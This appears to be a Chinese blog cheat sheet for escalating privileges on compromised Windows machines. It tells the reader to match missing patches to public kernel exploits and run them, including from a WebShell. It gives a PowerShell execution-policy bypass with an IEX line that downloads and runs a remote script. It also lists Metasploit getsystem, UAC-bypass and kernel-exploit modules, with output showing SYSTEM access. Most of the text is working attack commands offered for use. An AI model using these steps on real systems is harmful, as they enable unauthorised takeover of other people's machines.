windows提权速查流程

1.可利用漏洞信息收集

收集本机systeminfo中补丁信息

在提权辅助平台 https://i.hacking8.com/tiquan/ 中查询可利用exp

然后查询exp,选择对应的Exp下载运行即可。
https://i.hacking8.com/
https://github.com/SecWiki/windows-kernel-exploits

提权Exp的运行方式,一般有以下几种:

1
2
3
4
直接执行exe程序,成功后会打开一个cmd窗口,在新窗口中权限就是system
在WebShell中执行exe程序,执行方式为xxx.exe whoami,成功后直接执行命令,再修改命令内容,可以执行不同的命令
利用MSF等工具
C++源码,Python脚本,PowerShell脚本等特殊方式

2.WinSystemHelper

使用WinSystemHelper检查可利用的漏洞。该工具适合在任何Windows服务器上进行已知提权漏洞的检测

https://github.com/brianwrf/WinSystemHelper

上传WinSysHelper.bat、explt2003.txt、expgt2003.txt,运行bat查看结果

然后在可利用的Exp中任意下载一个并执行即可

3.Sherlock

Sherlock是在Windows下用于本地提权的PowerShell脚本
分析漏洞出漏洞后利用对应Exp即可

1
2
3
4
5
6
7
8
9
10
11
# 启动Powershell
$ powershell.exe -exec bypass

# 本地加载脚本
$ Import-Module Sherlock.ps1

# 远程加载脚本
$ IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')

# 检查漏洞,Vulnstatus为Appears Vulnerable即存在漏洞
$ Find-AllVulns

4.msf中的提权方法

getsystem

meterpreter> getsystem

BypassUAC

1
2
3
4
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
1
2
3
4
5
meterpreter> background  # 后台session 
msf> use exploit/windows/local/bypassuac
msf> set SESSION <session_id>
# 后台session时会返回session_id,如不清楚可以使用命令sessions -l
msf> run

内核提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查询补丁
meterpreter> run post/windows/gather/enum_patches
[+] KB2999226 installed on 11/25/2020
[+] KB976902 installed on 11/21/2010

# 查询Exp
msf> use post/multi/recon/local_exploit_suggester
msf> set LHOST <攻击机IP>
msf> set SESSION <session_id>
msf> run

# 利用示例
msf> use exploit/windows/local/cve_2019_1458_wizardopium
msf> set SESSION <session_id>
msf> run
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!